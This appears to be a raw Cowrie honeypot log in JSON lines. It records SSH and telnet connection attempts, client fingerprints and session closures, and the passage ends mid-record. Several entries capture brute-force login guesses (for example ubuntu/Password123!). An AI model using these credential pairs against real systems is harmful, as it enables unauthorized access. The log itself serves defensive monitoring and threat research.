{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54626,"dst_ip":"159.203.135.109","dst_port":23,"session":"11cf5037b3a1","protocol":"telnet","message":"New connection: 38.60.198.128:54626 (159.203.135.109:23) [session: 11cf5037b3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:15.764273Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":48518,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4f375b7823f","protocol":"ssh","message":"New connection: 191.101.59.69:48518 (159.203.135.109:22) [session: e4f375b7823f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:15.909443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:16.183610Z","src_ip":"191.101.59.69","session":"e4f375b7823f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:16.282583Z","src_ip":"191.101.59.69","session":"e4f375b7823f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.506797790527344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:17.113500Z","src_ip":"38.60.198.128","session":"4e191571350c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":60128,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe1ba757f7bf","protocol":"ssh","message":"New connection: 14.103.127.97:60128 (10.17.0.5:22) [session: fe1ba757f7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:17.719070Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwertyuiop","message":"login attempt [ftpuser/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:18.005452Z","src_ip":"191.101.59.69","session":"e4f375b7823f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:19.412048Z","src_ip":"191.101.59.69","session":"e4f375b7823f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.94017815589905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:21.519580Z","src_ip":"38.60.198.128","session":"4f45210ee8ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":51882,"dst_ip":"10.17.0.5","dst_port":22,"session":"b67a8de2fe31","protocol":"ssh","message":"New connection: 177.85.247.230:51882 (10.17.0.5:22) [session: b67a8de2fe31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:23.428538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:23.432754Z","src_ip":"177.85.247.230","session":"b67a8de2fe31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:23.534181Z","src_ip":"177.85.247.230","session":"b67a8de2fe31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"55555","message":"login attempt [ubuntu/55555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:23.973261Z","src_ip":"177.85.247.230","session":"b67a8de2fe31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:25.078364Z","src_ip":"177.85.247.230","session":"b67a8de2fe31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38276,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b34b89afd07","protocol":"telnet","message":"New connection: 38.60.198.128:38276 (159.203.135.109:23) [session: 4b34b89afd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:25.574347Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.96.162.117","src_port":57911,"dst_ip":"159.203.135.109","dst_port":23,"session":"a78a0849f610","protocol":"telnet","message":"New connection: 179.96.162.117:57911 (159.203.135.109:23) [session: a78a0849f610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:33.980578Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":41402,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56a191ae36f","protocol":"ssh","message":"New connection: 186.10.86.130:41402 (159.203.135.109:22) [session: b56a191ae36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:38.490041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:38.495322Z","src_ip":"186.10.86.130","session":"b56a191ae36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:38.645617Z","src_ip":"186.10.86.130","session":"b56a191ae36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qazwsx123","message":"login attempt [test/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:39.271793Z","src_ip":"186.10.86.130","session":"b56a191ae36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:40.422036Z","src_ip":"186.10.86.130","session":"b56a191ae36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60490,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e79aae914ca","protocol":"telnet","message":"New connection: 38.60.198.128:60490 (159.203.135.109:23) [session: 2e79aae914ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:42.452928Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34842,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a21bfb890d","protocol":"telnet","message":"New connection: 38.60.198.128:34842 (159.203.135.109:23) [session: 12a21bfb890d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:45.440407Z"}
{"eventid":"cowrie.session.closed","duration":1.9033918380737305,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:47.343683Z","src_ip":"38.60.198.128","session":"12a21bfb890d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37914,"dst_ip":"159.203.135.109","dst_port":23,"session":"b53418ea37cc","protocol":"telnet","message":"New connection: 38.60.198.128:37914 (159.203.135.109:23) [session: b53418ea37cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:47.592821Z"}
{"eventid":"cowrie.session.closed","duration":31.852261781692505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:47.616361Z","src_ip":"38.60.198.128","session":"11cf5037b3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3456034660339355,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:48.938301Z","src_ip":"38.60.198.128","session":"b53418ea37cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2176884dfe","protocol":"telnet","message":"New connection: 38.54.119.93:33942 (10.17.0.5:23) [session: 1a2176884dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:50.586298Z"}
{"eventid":"cowrie.session.closed","duration":48.49458360671997,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:50.985745Z","src_ip":"65.60.27.33","session":"ad7e63cb4174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":4829,"dst_ip":"10.17.0.5","dst_port":22,"session":"13fa5b64b9fa","protocol":"ssh","message":"New connection: 115.68.208.117:4829 (10.17.0.5:22) [session: 13fa5b64b9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:53.405617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:53.410039Z","src_ip":"115.68.208.117","session":"13fa5b64b9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:53.613879Z","src_ip":"115.68.208.117","session":"13fa5b64b9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47432,"dst_ip":"159.203.135.109","dst_port":23,"session":"382a61825486","protocol":"telnet","message":"New connection: 38.60.198.128:47432 (159.203.135.109:23) [session: 382a61825486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:54.082095Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123!","message":"login attempt [ubuntu/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:54.469264Z","src_ip":"115.68.208.117","session":"13fa5b64b9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:55.685177Z","src_ip":"115.68.208.117","session":"13fa5b64b9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffea999d05d0","protocol":"ssh","message":"New connection: 186.113.245.157:44804 (10.17.0.5:22) [session: ffea999d05d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:01.454991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:01.459766Z","src_ip":"186.113.245.157","session":"ffea999d05d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:01.556622Z","src_ip":"186.113.245.157","session":"ffea999d05d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.47495126724243,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:01.945589Z","src_ip":"38.60.198.128","session":"dd6f5ba7b7b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Asdf1234","message":"login attempt [user/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:01.971440Z","src_ip":"186.113.245.157","session":"ffea999d05d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:03.073079Z","src_ip":"186.113.245.157","session":"ffea999d05d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35142,"dst_ip":"10.17.0.5","dst_port":23,"session":"76c2907e77da","protocol":"telnet","message":"New connection: 45.81.23.16:35142 (10.17.0.5:23) [session: 76c2907e77da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:03.348397Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35156,"dst_ip":"10.17.0.5","dst_port":23,"session":"64383f0141cd","protocol":"telnet","message":"New connection: 45.81.23.16:35156 (10.17.0.5:23) [session: 64383f0141cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:03.518162Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7fec8d96e17","protocol":"telnet","message":"New connection: 38.60.198.128:34214 (159.203.135.109:23) [session: c7fec8d96e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:07.503247Z"}
{"eventid":"cowrie.session.closed","duration":44.899139165878296,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:10.473364Z","src_ip":"38.60.198.128","session":"4b34b89afd07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.288991689682007,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:12.807045Z","src_ip":"45.81.23.16","session":"64383f0141cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00521397590637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:17.473768Z","src_ip":"86.162.75.132","session":"f8daf5808045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46306,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d1d7cca8ef","protocol":"telnet","message":"New connection: 38.60.198.128:46306 (159.203.135.109:23) [session: e9d1d7cca8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:17.543753Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47696,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b1f01f9ef26","protocol":"telnet","message":"New connection: 38.60.198.128:47696 (159.203.135.109:23) [session: 6b1f01f9ef26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:17.643373Z"}
{"eventid":"cowrie.session.closed","duration":15.81436800956726,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:19.162637Z","src_ip":"45.81.23.16","session":"76c2907e77da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":41446,"dst_ip":"10.17.0.5","dst_port":22,"session":"e44815b68b7e","protocol":"ssh","message":"New connection: 177.85.247.230:41446 (10.17.0.5:22) [session: e44815b68b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:24.212703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:24.218603Z","src_ip":"177.85.247.230","session":"e44815b68b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 